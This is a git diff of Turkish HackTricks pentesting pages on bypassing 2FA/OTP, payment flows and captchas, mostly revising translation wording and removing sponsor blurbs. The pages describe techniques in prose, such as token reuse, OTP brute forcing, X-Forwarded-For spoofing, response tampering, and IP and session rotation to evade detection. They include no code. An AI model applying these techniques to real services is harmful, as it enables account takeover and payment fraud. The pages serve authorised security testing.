@ -170,7 +157,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.** * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -1,39 +1,26 @@
# 2FA/MFA/OTP Bypass # 2FA/MFA/OTP Bypass
{% hint style="success" %} {% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) **dark-web** destekli bir arama motorudur ve bir şirketin veya müşterilerinin **tehdit altına alınıp alınmadığını** kontrol etmek için **ücretsiz** işlevler sunar.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
***
## **Gelişmiş İki Aşamalı Kimlik Doğrulama Bypass Teknikleri** ## **Gelişmiş İki Aşamalı Kimlik Doğrulama Bypass Teknikleri**
### **Doğrudan Uç Nokta Erişimi** ### **Doğrudan Uç Nokta Erişimi**
2FA'yı atlatmak için, yolun bilinmesi kritik olmak üzere, sonraki uç noktaya doğrudan erişim sağlayın. Başarısız olursa, **Referrer başlığını** 2FA doğrulama sayfasından gezinmeyi taklit edecek şekilde değiştirin. 2FA'yı atlamak için, yolun bilinmesi kritik olmak üzere, sonraki uç noktaya doğrudan erişim sağlayın. Başarısız olursa, **Referrer başlığını** 2FA doğrulama sayfasından gezinmeyi taklit edecek şekilde değiştirin.
### **Token Yeniden Kullanımı** ### **Token Yeniden Kullanımı**
@ -41,7 +28,7 @@ Bir hesap içindeki kimlik doğrulama için daha önce kullanılan token'ları y
### **Kullanılmayan Token'ların Kullanımı** ### **Kullanılmayan Token'ların Kullanımı**
Kendi hesabınızdan bir token çıkararak başka bir hesapta 2FA'yı atlatmayı deneyebilirsiniz. Kendi hesabınızdan bir token çıkararak başka bir hesapta 2FA'yı atlamayı deneyebilirsiniz.
### **Token'in Açığa Çıkması** ### **Token'in Açığa Çıkması**
@ -49,19 +36,19 @@ Token'in web uygulamasından gelen bir yanıtta ifşa edilip edilmediğini araş
### **Doğrulama Bağlantısı İstismarı** ### **Doğrulama Bağlantısı İstismarı**
Hesap oluşturma sırasında gönderilen **e-posta doğrulama bağlantısını** kullanmak, 2FA olmadan profil erişimi sağlayabilir; bu, detaylı bir [yazıda](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b) vurgulanmıştır. Hesap oluşturulduğunda gönderilen **e-posta doğrulama bağlantısını** kullanmak, 2FA olmadan profil erişimi sağlayabilir; bu, ayrıntılı bir [yazıda](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b) vurgulanmıştır.
### **Oturum Manipülasyonu** ### **Oturum Manipülasyonu**
Kullanıcının ve bir mağdurun hesabı için oturum başlatmak ve kullanıcının hesabı için 2FA'yı tamamlamadan devam etmek, mağdurun hesap akışındaki bir sonraki adıma erişim sağlama girişiminde bulunmayı sağlar; bu, arka uç oturum yönetimi sınırlamalarını istismar eder. Kullanıcının ve bir kurbanın hesabı için oturum başlatmak ve kullanıcının hesabı için 2FA'yı tamamlamadan devam etmek, kurbanın hesap akışındaki bir sonraki adıma erişim sağlama girişiminde bulunmayı sağlar; bu, arka uç oturum yönetimi sınırlamalarını istismar eder.
### **Şifre Sıfırlama Mekanizması** ### **Şifre Sıfırlama Mekanizması**
Şifre sıfırlama işlevini araştırmak, uygulamaya sıfırlama sonrası kullanıcıyı giriş yaptırma potansiyeli açısından kritik öneme sahiptir; aynı bağlantıyı kullanarak birden fazla sıfırlama yapılmasına olanak tanıyabilir. Yeniden sıfırlanan kimlik bilgileriyle giriş yapmak 2FA'yı atlatabilir. Şifre sıfırlama işlevini araştırmak, sıfırlama sonrası kullanıcıyı uygulamaya giriş yaptırma potansiyeli açısından kritik öneme sahiptir; aynı bağlantıyı kullanarak birden fazla sıfırlama yapılmasına olanak tanıyabilir. Yeni sıfırlanan kimlik bilgileriyle giriş yapmak 2FA'yı atlayabilir.
### **OAuth Platformu Kompromizasyonu** ### **OAuth Platformu Kompromizasyonu**
Güvenilir bir **OAuth** platformundaki (örneğin, Google, Facebook) bir kullanıcının hesabını ele geçirmek, 2FA'yı atlatmanın bir yolunu sunabilir. Güvenilir bir **OAuth** platformundaki (örneğin, Google, Facebook) bir kullanıcının hesabını ele geçirmek, 2FA'yı atlamak için bir yol sunabilir.
### **Kaba Kuvvet Saldırıları** ### **Kaba Kuvvet Saldırıları**
@ -71,7 +58,7 @@ Kod denemeleri sayısında bir sınır olmaması, kaba kuvvet saldırılarına o
#### **Yavaş Kaba Kuvvet** #### **Yavaş Kaba Kuvvet**
Bir yavaş kaba kuvvet saldırısı, akış hızı sınırlarının olduğu ancak genel bir hız sınırının bulunmadığı durumlarda geçerlidir. Bir akış hızı sınırı mevcut olduğunda, ancak genel bir hız sınırı olmadığında yavaş bir kaba kuvvet saldırısı uygulanabilir.
#### **Kod Yeniden Gönderme Sınırının Sıfırlanması** #### **Kod Yeniden Gönderme Sınırının Sıfırlanması**
@ -87,7 +74,7 @@ Hız sınırları giriş denemelerini koruyabilir, ancak iç hesap eylemlerini k
#### **SMS Kodu Yeniden Gönderme Maliyetleri** #### **SMS Kodu Yeniden Gönderme Maliyetleri**
SMS ile kodların aşırı yeniden gönderilmesi şirkete maliyet yükler, ancak 2FA'yı atlatmaz. SMS ile kodların aşırı yeniden gönderilmesi şirkete maliyet yükler, ancak 2FA'yı atlamaz.
#### **Sonsuz OTP Yeniden Üretimi** #### **Sonsuz OTP Yeniden Üretimi**
@ -105,17 +92,17 @@ Basit kodlarla sonsuz OTP üretimi, küçük bir kod setini yeniden deneyerek ka
#### **Tahmin Edilebilir Çerez Değerleri** #### **Tahmin Edilebilir Çerez Değerleri**
"Beni hatırla" çerez değerini tahmin etmek kısıtlamaları atlatabilir. "Beni hatırla" çerez değerini tahmin etmek kısıtlamaları atlayabilir.
#### **IP Adresi Taklidi** #### **IP Adresi Taklidi**
**X-Forwarded-For** başlığı aracılığıyla mağdurun IP adresini taklit etmek kısıtlamaları atlatabilir. **X-Forwarded-For** başlığı aracılığıyla kurbanın IP adresini taklit etmek kısıtlamaları atlayabilir.
### **Eski Sürümlerin Kullanımı** ### **Eski Sürümlerin Kullanımı**
#### **Alt Alan Adları** #### **Alt Alan Adları**
Alt alan adlarını test etmek, 2FA desteği olmayan veya savunmasız 2FA uygulamaları içeren eski sürümleri kullanabilir. Alt alan adlarını test etmek, 2FA desteği olmayan eski sürümleri kullanabilir veya savunmasız 2FA uygulamaları içerebilir.
#### **API Uç Noktaları** #### **API Uç Noktaları**
@ -129,52 +116,41 @@ Alt alan adlarını test etmek, 2FA desteği olmayan veya savunmasız 2FA uygula
2FA etkinleştirildiğinde yedek kodların hemen üretilmesi ve potansiyel yetkisiz erişimi, özellikle CORS yanlış yapılandırmaları/XSS açıkları ile birlikte bir risk oluşturur. 2FA etkinleştirildiğinde yedek kodların hemen üretilmesi ve potansiyel yetkisiz erişimi, özellikle CORS yanlış yapılandırmaları/XSS açıkları ile birlikte bir risk oluşturur.
### **2FA Sayfasında Bilgi Açığa Çıkması** ### **2FA Sayfasında Bilgi Açığı**
2FA doğrulama sayfasında hassas bilgilerin (örneğin, telefon numarası) ığa çıkması bir endişe kaynağıdır. 2FA doğrulama sayfasında hassas bilgilerin (örneğin, telefon numarası) ifşası bir endişe kaynağıdır.
### **Şifre Sıfırlamanın 2FA'yı Devre Dışı Bırakması** ### **Şifre Sıfırlama ile 2FA'yı Devre Dışı Bırakma**
Bir hesap oluşturma, 2FA etkinleştirme, şifre sıfırlama ve ardından 2FA gereksinimi olmadan giriş yapma sürecini gösteren bir yöntem, potansiyel bir bypass yöntemi olarak değerlendirilebilir. Bir hesap oluşturma, 2FA etkinleştirme, şifre sıfırlama ve ardından 2FA gereksinimi olmadan giriş yapma sürecini gösteren bir yöntem, potansiyel bir bypass yöntemi olarak değerlendirilebilir.
### **Sahte İstekler** ### **Aldatıcı İstekler**
Kaba kuvvet denemelerini gizlemek veya hız sınırlama mekanizmalarını yanıltmak için sahte istekler kullanmak, bypass stratejilerine bir katman daha ekler. Bu tür istekleri oluşturmak, uygulamanın güvenlik önlemleri ve hız sınırlama davranışları hakkında ince bir anlayış gerektirir. Kaba kuvvet denemelerini gizlemek veya hız sınırlama mekanizmalarını yanıltmak için aldatıcı istekler kullanmak, bypass stratejilerine bir katman daha ekler. Bu tür istekleri oluşturmak, uygulamanın güvenlik önlemleri ve hız sınırlama davranışları hakkında ince bir anlayış gerektirir.
### OTP Oluşturma Hataları ### OTP Oluşturma Hataları
Eğer OTP, kullanıcının zaten sahip olduğu verilere veya OTP'yi oluşturmak için gönderilen verilere dayanarak oluşturulursa, kullanıcının da bunu oluşturması ve atlatması mümkündür. Eğer OTP, kullanıcının zaten sahip olduğu verilere veya OTP'yi oluşturmak için gönderilen verilere dayanarak oluşturulursa, kullanıcının da bunu oluşturması ve atlaması mümkündür.
## Referanslar ## References
* [https://medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/%22https:/medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35%22/README.md) * [https://medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/%22https:/medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35%22/README.md)
* [https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718](https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718) * [https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718](https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718)
* [https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116\_1d0f6ce59992222b0812b7cab19a4bce](https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116\_1d0f6ce59992222b0812b7cab19a4bce) * [https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116\_1d0f6ce59992222b0812b7cab19a4bce](https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116\_1d0f6ce59992222b0812b7cab19a4bce)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) **dark-web** destekli bir arama motorudur ve bir şirketin veya müşterilerinin **tehdit altına alınıp alınmadığını** kontrol etmek için **ücretsiz** işlevler sunar.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
P P
{% hint style="success" %} {% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>

View file

@ -15,14 +15,6 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Ödeme Atlatma Teknikleri ## Ödeme Atlatma Teknikleri
### İstek Yakalama ### İstek Yakalama
@ -47,18 +39,12 @@ Bir URL içeren bir parametre ile karşılaşırsanız, özellikle _example.com/
2. **Çerez Değerlerini Değiştirin**: Çerezlerde saklanan değerleri değiştirin ve web sitesinin yanıtının veya davranışının nasıl değiştiğini gözlemleyin. 2. **Çerez Değerlerini Değiştirin**: Çerezlerde saklanan değerleri değiştirin ve web sitesinin yanıtının veya davranışının nasıl değiştiğini gözlemleyin.
### Oturum Ele Geçirme ### Oturum Ele Geçirme
1. **Oturum Token'ları**: Ödeme sürecinde oturum token'ları kullanılıyorsa, bunları yakalamayı ve manipüle etmeyi deneyin. Bu, oturum yönetimi zafiyetleri hakkında bilgi verebilir. 1. **Oturum Jetonları**: Ödeme sürecinde oturum jetonları kullanılıyorsa, bunları yakalamayı ve manipüle etmeyi deneyin. Bu, oturum yönetimi açıklarını anlamanıza yardımcı olabilir.
### Yanıt Manipülasyonu ### Yanıt Manipülasyonu
1. **Yanıtları Yakalayın**: Sunucudan gelen yanıtları yakalamak ve analiz etmek için araçlar kullanın. Başarılı bir işlemi gösteren veya ödeme sürecindeki sonraki adımları ortaya çıkaran verileri arayın. 1. **Yanıtları Yakalayın**: Sunucudan gelen yanıtları yakalamak ve analiz etmek için araçlar kullanın. Başarılı bir işlemi gösteren veya ödeme sürecindeki sonraki adımları ortaya çıkaran verileri arayın.
2. **Yanıtları Değiştirin**: Yanıtlar tarayıcı veya uygulama tarafından işlenmeden önce bunları değiştirmeyi deneyin ve başarılı bir işlem senaryosunu simüle edin. 2. **Yanıtları Değiştirin**: Yanıtlar tarayıcı veya uygulama tarafından işlenmeden önce bunları değiştirmeyi deneyin ve başarılı bir işlem senaryosunu simüle edin.
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -1,32 +1,32 @@
# Captcha Bypass # Captcha Bypass
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>HackTricks'i Destekleyin</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}
## Captcha Bypass ## Captcha Bypass
**Sunucu testi** sırasında captcha'yı **bypass** etmek ve kullanıcı girişi işlevlerini otomatikleştirmek için çeşitli teknikler kullanılabilir. Amaç güvenliği zayıflatmak değil, test sürecini kolaylaştırmaktır. İşte kapsamlı bir strateji listesi: Captcha'yı **sunucu testi** sırasında **bypass** etmek ve kullanıcı girişi işlevlerini otomatikleştirmek için çeşitli teknikler kullanılabilir. Amaç güvenliği zayıflatmak değil, test sürecini kolaylaştırmaktır. İşte kapsamlı bir strateji listesi:
1. **Parametre Manipülasyonu**: 1. **Parametre Manipülasyonu**:
* **Captcha Parametresini Atla**: Captcha parametresini göndermemeye çalışın. HTTP yöntemini POST'tan GET'e veya diğer fiillere değiştirmeyi ve veri formatını, örneğin form verisi ile JSON arasında geçiş yapmayı deneyin. * **Captcha Parametresini Atla**: Captcha parametresini göndermemeye çalışın. HTTP yöntemini POST'tan GET'e veya diğer fiillere değiştirmeyi ve veri formatını, örneğin form verisi ile JSON arasında geçiş yapmayı deneyin.
* **Boş Captcha Gönder**: Captcha parametresi mevcut ancak boş bırakılarak isteği gönderin. * **Boş Captcha Gönder**: Captcha parametresi mevcut ama boş bırakılarak isteği gönderin.
2. **Değer Çıkartma ve Yeniden Kullanma**: 2. **Değer Çıkarma ve Yeniden Kullanma**:
* **Kaynak Kodu İncelemesi**: Sayfanın kaynak kodunda captcha değerini arayın. * **Kaynak Kodu İncelemesi**: Sayfanın kaynak kodunda captcha değerini arayın.
* **Çerez Analizi**: Captcha değerinin saklanıp saklanmadığını ve yeniden kullanılıp kullanılmadığını kontrol etmek için çerezleri inceleyin. * **Çerez Analizi**: Captcha değerinin saklanıp saklanmadığını ve yeniden kullanılıp kullanılmadığını kontrol etmek için çerezleri inceleyin.
* **Eski Captcha Değerlerini Yeniden Kullanma**: Daha önce başarılı olan captcha değerlerini tekrar kullanmayı deneyin. Bunların her an süresinin dolabileceğini unutmayın. * **Eski Captcha Değerlerini Yeniden Kullanma**: Daha önce başarılı olan captcha değerlerini tekrar kullanmayı deneyin. Her an süresinin dolabileceğini unutmayın.
* **Oturum Manipülasyonu**: Farklı oturumlar veya aynı oturum kimliği arasında aynı captcha değerini kullanmayı deneyin. * **Oturum Manipülasyonu**: Farklı oturumlar veya aynı oturum kimliği arasında aynı captcha değerini kullanmayı deneyin.
3. **Otomasyon ve Tanıma**: 3. **Otomasyon ve Tanıma**:
@ -40,25 +40,23 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
* **Üçüncü Taraf Hizmetler**: Otomatik captcha tanıma ve çözme sunan captcha çözme hizmetlerini veya API'lerini kullanın. * **Üçüncü Taraf Hizmetler**: Otomatik captcha tanıma ve çözme sunan captcha çözme hizmetlerini veya API'lerini kullanın.
* **Oturum ve IP Döngüsü**: Sunucu tarafından tespit edilmemek ve engellenmemek için oturum kimliklerini ve IP adreslerini sık sık değiştirin. * **Oturum ve IP Döngüsü**: Sunucu tarafından tespit edilmemek ve engellenmemek için oturum kimliklerini ve IP adreslerini sık sık değiştirin.
* **User-Agent ve Başlık Manipülasyonu**: Farklı tarayıcıları veya cihazları taklit etmek için User-Agent ve diğer istek başlıklarını değiştirin. * **User-Agent ve Başlık Manipülasyonu**: Farklı tarayıcıları veya cihazları taklit etmek için User-Agent ve diğer istek başlıklarını değiştirin.
* **Sesli Captcha Analizi**: Sesli captcha seçeneği mevcutsa, captcha'yı yorumlamak ve çözmek için konuşma metnine dönüştürme hizmetlerini kullanın. * **Sesli Captcha Analizi**: Sesli captcha seçeneği mevcutsa, captcha'yı yorumlamak ve çözmek için ses tanıma hizmetlerini kullanın.
## Online Services to solve captchas
### [Capsolver](https://www.capsolver.com/) ## Captchaları çözmek için çevrimiçi hizmetler
Capsolver'ın otomatik captcha çözücü, **uygun fiyatlı ve hızlı bir captcha çözme çözümü** sunar. En iyi sonuçları birkaç saniye içinde elde etmek için basit entegrasyon seçeneği ile programınıza hızlıca entegre edebilirsiniz. reCAPTCHA V2 ve V3, hCaptcha, FunCaptcha, datadome, aws captcha, resimden metne, binance / coinmarketcap captcha, geetest v3 ve daha fazlasını çözebilir. Ancak, bu tam anlamıyla bir bypass değildir.
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>HackTricks'i Destekleyin</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -15,31 +15,18 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
</details> </details>
{% endhint %} {% endhint %}
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) **karanlık ağ** destekli bir arama motorudur ve bir şirketin veya müşterilerinin **zarar görüp görmediğini** kontrol etmek için **ücretsiz** işlevler sunar.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
***
## Özet ## Özet
